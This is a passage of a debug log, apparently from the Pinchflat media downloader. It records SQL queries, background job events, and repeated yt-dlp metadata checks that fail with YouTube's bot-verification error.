s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.037 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.037 [debug] QUERY OK source="settings" db=0.5ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.037 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IZ5sTBu7Tg8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bb/21/bb21b3bd40acacdabf4c34b02ca4dba28a876165ca429f624731f1b23297970d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:17.387 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wc3DM-7lL-g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/79/c2/79c2b76030c1ab1fae77e0cc3e09d17df2b88bdbd6480132dafc4b304de1be7b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] wc3DM-7lL-g: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:17.387 [error] yt-dlp download error for media item #6: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wc3DM-7lL-g: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:17.387 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] wc3DM-7lL-g: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:17.394 [info] {"args":{"id":6},"id":204,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2027380,"event":"job:stop","attempt":1,"queue_time":4359128,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:17.396 [debug] QUERY OK source="tasks" db=1.7ms idle=360.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:17.398 [debug] QUERY OK source="media_items" db=0.9ms queue=0.4ms idle=360.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 20:31:17.401 [info] {"args":{"id":8},"id":206,"meta":{},"system_time":1774150277401151026,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:17.402 [debug] QUERY OK source="tasks" db=0.5ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:17.402 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=363.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 20:31:17.403 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:17.404 [debug] QUERY OK source="media_items" db=1.7ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [7, 8] 20:31:17.405 [debug] QUERY OK source="sources" db=1.8ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:17.406 [debug] QUERY OK source="media_profiles" db=1.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:17.408 [debug] QUERY OK source="media_items" db=1.0ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 20:31:17.410 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [8] 20:31:17.410 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:17.412 [debug] QUERY OK source="settings" db=1.4ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.413 [debug] QUERY OK source="settings" db=0.9ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.414 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:17.415 [debug] QUERY OK source="settings" db=0.2ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.416 [debug] QUERY OK source="settings" db=0.6ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.417 [debug] QUERY OK source="settings" db=0.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:17.417 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2yo91wxD1uY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3d/92/3d92031a4a4c8829e5fd535bf33bba97a3c6f1eddfe9c99d68aafa9aade208d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:18.790 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IZ5sTBu7Tg8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bb/21/bb21b3bd40acacdabf4c34b02ca4dba28a876165ca429f624731f1b23297970d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] IZ5sTBu7Tg8: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:18.790 [error] yt-dlp download error for media item #7: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] IZ5sTBu7Tg8: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:18.791 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] IZ5sTBu7Tg8: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:18.792 [info] {"args":{"id":7},"id":205,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1766006,"event":"job:stop","attempt":1,"queue_time":6024100,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:18.794 [debug] QUERY OK source="tasks" db=1.4ms idle=202.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:18.794 [debug] QUERY OK source="media_items" db=0.3ms idle=204.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 20:31:18.797 [info] {"args":{"id":9},"id":207,"meta":{},"system_time":1774150278797046730,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:18.798 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 20:31:18.798 [debug] QUERY OK source="tasks" db=0.8ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:18.798 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:18.799 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [8, 9] 20:31:18.802 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:18.802 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:18.803 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 20:31:18.805 [debug] QUERY OK source="media_metadata" db=0.5ms idle=6.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [9] 20:31:18.806 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:18.806 [debug] QUERY OK source="settings" db=0.4ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:18.807 [debug] QUERY OK source="settings" db=0.5ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:18.807 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:18.809 [debug] QUERY OK source="settings" db=0.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:18.810 [debug] QUERY OK source="settings" db=0.3ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:18.810 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:18.810 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t3ib9VIw6eA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e5/fb/e5fb25c5733af1b0cf7404f867511a48bcb3732a9f9b4f8607d48ccad177a766.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:19.082 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2yo91wxD1uY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3d/92/3d92031a4a4c8829e5fd535bf33bba97a3c6f1eddfe9c99d68aafa9aade208d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 2yo91wxD1uY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:19.082 [error] yt-dlp download error for media item #8: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 2yo91wxD1uY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:19.083 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 2yo91wxD1uY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:19.084 [info] {"args":{"id":8},"id":206,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1681931,"event":"job:stop","attempt":1,"queue_time":6400059,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:19.086 [debug] QUERY OK source="tasks" db=0.4ms idle=278.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:19.087 [debug] QUERY OK source="media_items" db=1.2ms idle=276.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 20:31:19.092 [info] {"args":{"id":10},"id":208,"meta":{},"system_time":1774150279092464921,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:19.095 [debug] QUERY OK source="media_items" db=1.5ms idle=283.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 20:31:19.098 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:19.103 [debug] QUERY OK source="tasks" db=9.0ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", 